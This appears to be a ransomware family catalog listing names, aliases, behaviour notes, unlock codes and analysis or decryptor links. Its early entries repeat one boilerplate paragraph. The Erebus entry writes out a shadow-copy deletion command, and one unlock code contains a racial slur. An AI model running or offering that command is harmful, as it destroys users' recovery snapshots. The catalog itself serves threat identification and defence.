This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif
Links |
https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html |
AiraCrop Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html |
JapanLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping
JapanLocker Ransomware is also known as:
-
SHC Ransomware
-
SHCLocker
-
SyNcryption
Anubis Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2
Links |
https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html |
XTPLocker 5.0 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html |
Exotic Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables
APT Ransomware v.2
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED
Links |
https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html |
Windows_Security Ransonware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Windows_Security Ransonware is also known as:
-
WS Go Ransonware
-
Trojan.Encoder.6491
Links |
https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html |
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2 |
NCrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html |
Venis Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com
Links |
https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html |
Enigma 2 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html |
Deadly Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017…
Deadly Ransomware is also known as:
-
Deadly for a Good Purpose Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html |
https://twitter.com/malwrhunterteam/status/785533373007728640 |
Comrade Circle Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html |
Globe2 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Globe2 Ransomware is also known as:
-
Purge Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html |
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221 |
Kostya Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html |
Fs0ciety Locker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.htm |
Erebus Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet
Links |
https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html |
WannaCry
According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.
WannaCry is also known as:
-
WannaCrypt
-
WannaCry
-
WanaCrypt0r
-
WCrypt
-
WCRY
Links |
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 |
7ev3n
Ransomware
7ev3n is also known as:
-
7ev3n-HONE$T
Links |
https://github.com/hasherezade/malware_analysis/tree/master/7ev3n |
https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be |
8lock8
Ransomware Based on HiddenTear
Links |
http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/ |
Alma Ransomware
Ransomware
Alpha Ransomware
Ransomware
Alpha Ransomware is also known as:
-
AlphaLocker
Links |
http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip |
AngleWare
Ransomware
Links |
https://twitter.com/BleepinComputer/status/844531418474708993 |
Anony
Ransomware Based on HiddenTear
Anony is also known as:
-
ngocanh
Links |
Apocalypse
Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru
Apocalypse is also known as:
-
Fabiansomeware
Links |
ApocalypseVM
Ransomware Apocalypse ransomware version which uses VMprotect
Links |
BadBlock
Ransomware
Links |
http://www.nyxbone.com/images/articulos/malware/badblock/5.png |
BaksoCrypt
Ransomware Based on my-Little-Ransomware
Links |
https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/ |
Bandarchor
Ransomware Files might be partially encrypted
Bandarchor is also known as:
-
Rakhni
Links |
https://reaqta.com/2016/03/bandarchor-ransomware-still-active/ |
Bart
Ransomware Possible affiliations with RockLoader, Locky and Dridex
Bart is also known as:
-
BaCrypt
Links |
http://phishme.com/rockloader-downloading-new-ransomware-bart/ |
BitCryptor
Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.
Links |
BitStak
Ransomware
Links |
https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip |
BlackShades Crypter
Ransomware
BlackShades Crypter is also known as:
-
SilentShade
Links |
Brazilian
Ransomware Based on EDA2
Links |
http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png |
Browlock
Ransomware no local encryption, browser only
BTCWare Related to / new version of CryptXXX
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/845199679340011520 |
BuyUnlockCode
Ransomware Does not delete Shadow Copies
Cerber
Ransomware
Cerber is also known as:
-
CRBR ENCRYPTOR
CoinVault
Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!
Links |
CryFile
Ransomware
Links |
SHTODELATVAM.txt[SHTODELATVAM.txt] |
Instructionaga.txt[Instructionaga.txt] |
CryLocker
Ransomware Identifies victim locations w/Google Maps API
CryLocker is also known as:
-
Cry
-
CSTO
-
Central Security Treatment Organization
Links |
Crypren
Ransomware
Links |
http://www.nyxbone.com/images/articulos/malware/crypren/0.png |
Crypt38
Ransomware
Crypter
Ransomware Does not actually encrypt the files, but simply renames them
Links |
CryptoBit
Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.
Links |
http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/ |
http://news.softpedia.com/news/new-cryptobit-ransomware-could-be-decryptable-503239.shtml |
CryptoFinancial
Ransomware
CryptoFinancial is also known as:
-
Ranscam
Links |
CryptoFortress
Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB
CryptoGraphic Locker
Ransomware Has a GUI. Subvariants: CoinVault BitCryptor
CryptoHost
Ransomware RAR’s victim’s files has a GUI
CryptoHost is also known as:
-
Manamecrypt
-
Telograph
-
ROI Locker
Links |
CryptoJoker
Ransomware
CryptoLocker
Ransomware no longer relevant
Links |
https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/ |
CryptoLocker 1.0.0
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/839747940122001408 |
CryptoLocker 5.1
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/782890104947867649 |
CryptoMix
Ransomware
CryptoMix is also known as:
-
Zeta
CryptoRansomeware
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/817672617658347521 |
CryptoWall 1
Ransomware
CryptoWall 2
Ransomware
CryptoWall 3
Ransomware
Links |
https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/ |
CryptoWall 4
Ransomware
CryptXXX
Ransomware Comes with Bedep
CryptXXX is also known as:
-
CryptProjectXXX
Links |
http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information |
CryptXXX 2.0
Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.
CryptXXX 2.0 is also known as:
-
CryptProjectXXX
Links |
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive |
CryptXXX 3.0
Ransomware Comes with Bedep
CryptXXX 3.0 is also known as:
-
UltraDeCrypter
-
UltraCrypter
Links |
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive |
CTB-Locker WEB
Ransomware websites only
Links |
https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/ |
CuteRansomware
Ransomware Based on my-Little-Ransomware
CuteRansomware is also known as:
-
my-Little-Ransomware
Links |
https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool |
Cyber SpLiTTer Vbs
Ransomware Based on HiddenTear
Cyber SpLiTTer Vbs is also known as:
-
CyberSplitter
Links |
Death Bitches
Ransomware
Links |
https://twitter.com/JaromirHorejsi/status/815555258478981121 |
DeCrypt Protect
Ransomware
Links |
http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/ |
DEDCryptor
Ransomware Based on EDA2
Links |
http://www.bleepingcomputer.com/forums/t/617395/dedcryptor-ded-help-support-topic/ |
DetoxCrypto
Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte
Links |
DMALocker
Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0
Links |
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg |
DMALocker 3.0
Ransomware
Links |
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg |
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/ |
DNRansomware
Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT
Links |
https://twitter.com/BleepinComputer/status/822500056511213568 |
DXXD
Ransomware
Links |
https://www.bleepingcomputer.com/forums/t/627831/dxxd-ransomware-dxxd-help-support-readmetxt/ |
HiddenTear
Ransomware Open sourced C#
HiddenTear is also known as:
-
Cryptear
-
EDA2
-
Hidden Tear
Links |
http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html |
EduCrypt
Ransomware Based on Hidden Tear
EduCrypt is also known as:
-
EduCrypter
Links |
EiTest
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/845652520202616832 |
Encoder.xxxx
Ransomware Coded in GO
Encoder.xxxx is also known as:
-
Trojan.Encoder.6491
Links |
encryptoJJS
Ransomware
Enigma
Ransomware
Links |
http://www.bleepingcomputer.com/news/security/the-enigma-ransomware-targets-russian-speaking-users/ |
Enjey
Ransomware Based on RemindMe
Links |
https://twitter.com/malwrhunterteam/status/839022018230112256 |
Fairware
Ransomware Target Linux O.S.
Links |
http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/ |
Fakben
Ransomware Based on Hidden Tear
Links |
https://blog.fortinet.com/post/fakben-team-ransomware-uses-open-source-hidden-tear-code |
Fantom
Ransomware Based on EDA2
Fantom is also known as:
-
Comrad Circle
Links |
FireCrypt
Ransomware
Links |
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/ |
Flyper
Ransomware Based on EDA2 / HiddenTear
Links |
https://twitter.com/malwrhunterteam/status/773771485643149312 |
Fonco
Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents
Free-Freedom
Ransomware Unlock code is: adam or adamdude9
Free-Freedom is also known as:
-
Roga
Links |
https://twitter.com/BleepinComputer/status/812135608374226944 |
FSociety
Ransomware Based on EDA2 and RemindMe
Links |
http://www.bleepingcomputer.com/news/security/new-fsociety-ransomware-pays-homage-to-mr-robot/ |
GhostCrypt
Ransomware Based on Hidden Tear
Links |
https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip |
Globe v1
Ransomware
Globe v1 is also known as:
-
Purge
GNL Locker
Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker
Links |
Gopher
Ransomware OS X ransomware (PoC)
HappyDayzz
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/847114064224497666 |
HDDCryptor
Ransomware Uses https://diskcryptor.net for full disk encryption
HDDCryptor is also known as:
-
Mamba
Links |
https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho |
blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/[blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/] |
Help_dcfile
Ransomware
Herbst
Ransomware
Links |
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware |
HolyCrypt
Ransomware
Links |
http://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/ |
HTCryptor
Ransomware Includes a feature to disable the victim’s windows firewall Modified in-dev HiddenTear
Links |
https://twitter.com/BleepinComputer/status/803288396814839808 |
HydraCrypt
Ransomware CrypBoss Family
Links |
http://www.malware-traffic-analysis.net/2016/02/03/index2.html |
iLock
Ransomware
Links |
https://twitter.com/BleepinComputer/status/817085367144873985 |
iLockLight
Ransomware
International Police Association
Ransomware CryptoTorLocker2015 variant
Links |
http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe |
Jeiphoos
Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.
Jeiphoos is also known as:
-
Encryptor RaaS
-
Sarento
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/ |
Jhon Woddy
Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH
Links |
https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip |
https://twitter.com/BleepinComputer/status/822509105487245317 |
Jigsaw
Ransomware Has a GUI
Jigsaw is also known as:
-
CryptoHitMan
Links |
https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/ |
Job Crypter
Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC
Links |
https://twitter.com/malwrhunterteam/status/828914052973858816 |
JohnyCryptor
Ransomware
KEYHolder
Ransomware via remote attacker. tuyuljahat@hotmail.com contact address
Links |
KillerLocker
Ransomware Possibly Portuguese dev
Links |
https://twitter.com/malwrhunterteam/status/782232299840634881 |
Kozy.Jozy
Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com
Kozy.Jozy is also known as:
-
QC
Links |
KryptoLocker
Ransomware Based on HiddenTear
LeChiffre
Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker
Links |
https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/ |
Linux.Encoder
Ransomware Linux Ransomware
Linux.Encoder is also known as:
-
Linux.Encoder.{0,3}
Links |
https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/ |
LK Encryption
Ransomware Based on HiddenTear
Links |
https://twitter.com/malwrhunterteam/status/845183290873044994 |
LockLock
Ransomware
Links |
https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/ |
Locky
Ransomware Affiliations with Dridex and Necurs botnets
Links |
https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/ |
Lortok
Ransomware
LowLevel04
Ransomware Prepends filenames
M4N1F3STO
Ransomware Does not encrypt Unlock code=suckmydicknigga
Links |
Mabouia
Ransomware OS X ransomware (PoC)
MacAndChess
Ransomware Based on HiddenTear
Magic
Ransomware Based on EDA2
MaktubLocker
Ransomware
Links |
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/ |
MarsJoke
Ransomware
Links |
https://securelist.ru/blog/issledovaniya/29376/polyglot-the-fake-ctb-locker/ |
https://www.proofpoint.com/us/threat-insight/post/MarsJoke-Ransomware-Mimics-CTB-Locker |
Meteoritan
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/844614889620561924 |
MIRCOP
Ransomware Prepends files Demands 48.48 BTC
MIRCOP is also known as:
-
Crypt888
Links |
http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/ |
MireWare
Ransomware Based on HiddenTear
Mischa
Ransomware Packaged with Petya PDFBewerbungsmappe.exe
Mischa is also known as:
-
"Petya’s little brother"
Links |
MM Locker
Ransomware Based on EDA2
MM Locker is also known as:
-
Booyah
Links |
Monument
Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant
Links |
https://twitter.com/malwrhunterteam/status/844826339186135040 |
N-Splitter
Ransomware Russian Koolova Variant
Links |
https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q |
Nemucod
Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes
Links |
https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/ |
Netix
Ransomware
Netix is also known as:
-
RANSOM_NETIX.A
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/ |
Nhtnwcuf
Ransomware Does not encrypt the files / Files are destroyed
Links |
Nuke
Ransomware
Nullbyte
Ransomware
Links |
https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip |
ODCODC
Ransomware
Links |
http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip |
http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png |
Offline ransomware
Ransomware email addresses overlap with .777 addresses
Offline ransomware is also known as:
-
Vipasana
-
Cryakl
Links |
http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html |
Operation Global III
Ransomware Is a file infector (virus)
Links |
http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/ |
PadCrypt
Ransomware has a live support chat
Links |
https://twitter.com/malwrhunterteam/status/798141978810732544 |
Padlock Screenlocker
Ransomware Unlock code is: ajVr/G\ RJz0R
Links |
https://twitter.com/BleepinComputer/status/811635075158839296 |
Patcher
Ransomware Targeting macOS users
Links |
https://blog.malwarebytes.com/cybercrime/2017/02/decrypting-after-a-findzip-ransomware-infection/ |
Petya
Ransomware encrypts disk partitions PDFBewerbungsmappe.exe
Petya is also known as:
-
Goldeneye
Links |
http://www.thewindowsclub.com/petya-ransomware-decrypt-tool-password-generator |
https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/ |
Philadelphia
Ransomware Coded by "The_Rainmaker"
Links |
www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/[www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/] |
PizzaCrypts
Ransomware
Links |
http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip |
Polyglot
Ransomware Immitates CTB-Locker
Links |
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/ |
PowerWare
Ransomware Open-sourced PowerShell
PowerWare is also known as:
-
PoshCoder
Links |
https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py |
https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip |
PowerWorm
Ransomware no decryption possible, throws key away, destroys the files
Princess Locker
Ransomware
Links |
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/ |
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/ |
PRISM
Ransomware
Links |
http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/ |
R
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/846705481741733892 |
RAA encryptor
Ransomware Possible affiliation with Pony
RAA encryptor is also known as:
-
RAA
Links |
Rakhni
Ransomware Files might be partially encrypted
Rakhni is also known as:
-
Agent.iih
-
Aura
-
Autoit
-
Pletor
-
Rotor
-
Lamer
-
Isda
-
Cryptokluchen
-
Bandarchor
Links |
Ramsomeer
Ransomware Based on the DUMB ransomware
RanRan
Ransomware
Links |
https://github.com/pan-unit42/public_tools/tree/master/ranran_decryption |
Ransom32
Ransomware no extension change, Javascript Ransomware
RansomLock
Ransomware Locks the desktop
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2 |
RarVault
Ransomware
Rokku
Ransomware possibly related with Chimera
Links |
https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/ |
RoshaLock
Ransomware Stores your files in a password protected RAR file
Links |
Runsomewere
Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background
Links |
RussianRoulette
Ransomware Variant of the Philadelphia ransomware
Links |
SADStory
Ransomware Variant of CryPy
Links |
https://twitter.com/malwrhunterteam/status/845356853039190016 |
Sage 2.2
Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.
Links |
https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate |
Samas-Samsam
Ransomware Targeted attacks -Jexboss -PSExec -Hyena
Samas-Samsam is also known as:
-
samsam.exe
-
MIKOPONI.exe
-
RikiRafael.exe
-
showmehowto.exe
-
SamSam Ransomware
-
SamSam
-
Samsam
Sanction
Ransomware Based on HiddenTear, but heavily modified keygen
Sardoninir
Ransomware
Links |
https://twitter.com/BleepinComputer/status/835955409953357825 |
Satana
Ransomware
Links |
https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/ |
Scraper
Ransomware
Links |
http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/ |
Shark
Ransomware
Shark is also known as:
-
Atom
Links |
http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/ |
SkidLocker
Ransomware Based on EDA2
SkidLocker is also known as:
-
Pompous
Links |
http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/ |
Smash!
Ransomware
Links |
https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/ |
Smrss32
Ransomware
SNSLocker
Ransomware Based on EDA2
Links |
http://nyxbone.com/images/articulos/malware/snslocker/16.png |
Sport
Ransomware
Stampado
Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key
Surprise
Ransomware Based on EDA2
SynoLocker
Ransomware Exploited Synology NAS firmware directly over WAN
TeamXrat
Ransomware
Links |
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/ |
TeslaCrypt 0.x - 2.2.0
Ransomware Factorization
TeslaCrypt 0.x - 2.2.0 is also known as:
-
AlphaCrypt
Links |
TeslaCrypt 3.0+
Ransomware 4.0+ has no extension
Links |
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/ |
TeslaCrypt 4.1A
Ransomware
Links |
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/ |
TeslaCrypt 4.2
Ransomware
Links |
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/ |
Threat Finder
Ransomware Files cannot be decrypted Has a GUI
TorrentLocker
Ransomware Newer variants not decryptable. Only first 2 MB are encrypted
TorrentLocker is also known as:
-
Crypt0L0cker
-
CryptoFortress
-
Teerac
Links |
http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html |
Toxcrypt
Ransomware
Trojan
Ransomware
Trojan is also known as:
-
BrainCrypt
Links |
https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip |
Troldesh orShade, XTBL
Ransomware May download additional malware after encryption
Links |
https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf |
UmbreCrypt
Ransomware CrypBoss Family
Links |
http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware |
Ungluk
Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key
Unlock92
Ransomware
Links |
https://twitter.com/malwrhunterteam/status/839038399944224768 |
VaultCrypt
Ransomware
VaultCrypt is also known as:
-
CrypVault
-
Zlader
Links |
VBRANSOM 7
Ransomware
Links |
https://twitter.com/BleepinComputer/status/817851339078336513 |
Virus-Encoder
Ransomware
Virus-Encoder is also known as:
-
CrySiS
Links |
http://www.welivesecurity.com/2016/11/24/new-decryption-tool-crysis-ransomware/ |
http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip |
WildFire Locker
Ransomware Zyklon variant
WildFire Locker is also known as:
-
Hades Locker
Links |
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/ |
Xorist
Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length
Links |
XRTN
Ransomware VaultCrypt family
You Have Been Hacked!!!
Ransomware Attempt to steal passwords
Links |
https://twitter.com/malwrhunterteam/status/808280549802418181 |
Zcrypt
Ransomware
Zcrypt is also known as:
-
Zcryptor
Links |
https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/ |
Zlader
Ransomware VaultCrypt family
Zlader is also known as:
-
Russian
-
VaultCrypt
-
CrypVault
Links |
Zorro
Ransomware
Links |
https://twitter.com/BleepinComputer/status/844538370323812353 |
vxLock
Ransomware
Jaff
We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.
Links |
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html |
Cyron
claims it detected "Children Pornsites" in your browser history
Links |
Xolzsec
ransomware written by self proclaimed script kiddies that should really be considered trollware
Links |
SynAck
The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.
SynAck is also known as:
-
Syn Ack
Links |
https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/ |
SyncCrypt
